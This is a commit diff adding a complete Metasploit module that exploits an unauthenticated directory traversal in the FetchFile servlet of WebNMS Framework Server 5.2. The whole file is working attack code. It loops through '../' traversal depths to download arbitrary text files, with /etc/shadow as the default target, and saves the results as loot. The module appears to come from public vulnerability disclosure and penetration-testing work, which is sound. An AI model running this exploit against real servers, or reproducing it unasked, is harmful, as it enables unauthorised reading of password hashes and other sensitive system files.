Create exploit for WebNMS arbitrary file download

modules/auxiliary/admin/http/webnms_file_download.rb

@@ -0,0 +1,94 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
+      'Description' => %q{
+This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
+unauthenticated user to download files off the file system by using a directory
+traversal attack on the FetchFile servlet.
+Note that only text files can be downloaded properly, as any binary file will get
+mangled by the servlet. Also note that for Windows targets you can only download
+files that are in the same drive as the WebNMS installation.
+This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
+Windows and Linux.
+},
+      'Author' =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
+        ],
+      'License' => MSF_LICENSE,
+      'References' =>
+        [
+          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
+        ],
+      'DisclosureDate' => 'Jul 4 2016'))
+
+    register_options(
+      [
+        OptPort.new('RPORT', [true, 'The target port', 9090]),
+        OptString.new('TARGETURI', [ true,  "WebNMS path", '/']),
+        OptString.new('FILEPATH', [ false,  "The filepath of the file you want to download", '/etc/shadow']),
+        OptString.new('TRAVERSAL_PATH', [ false,  "The traversal path to the target file (if you know it)"]),
+        OptInt.new('MAX_TRAVERSAL', [ false,  "Maximum traversal path depth (if you don't know the traversal path)", 10]),
+      ], self.class)
+  end
+
+
+  def run
+    file = nil
+    if datastore['TRAVERSAL_PATH'] == nil
+      traversal_size = datastore['MAX_TRAVERSAL']
+      while traversal_size > 0
+        file = get_file("../" * traversal_size + datastore['FILEPATH'])
+        if file != nil
+          break
+        end
+        traversal_size -= 1
+      end
+    else
+      file = get_file(datastore['TRAVERSAL_PATH'])
+    end
+
+    if file == nil
+      print_error("#{peer} - Failed to download the specified file.")
+      return
+    else
+      vprint_line(file)
+      fname = File.basename(datastore['FILEPATH'])
+
+      path = store_loot(
+        'webnms.http',
+        'text/plain',
+        datastore['RHOST'],
+        file,
+        fname
+      )
+      print_good("File download successful, file saved in #{path}")
+    end
+  end
+
+
+  def get_file(path)
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
+      'method' =>'GET',
+      'vars_get' => { 'fileName' => path }
+    })
+    if res && res.code == 200 && res.body.to_s.length > 0 && res.body.to_s =~ /File Found/
+      return res.body.to_s
+    else
+      return nil
+    end
+  end
+end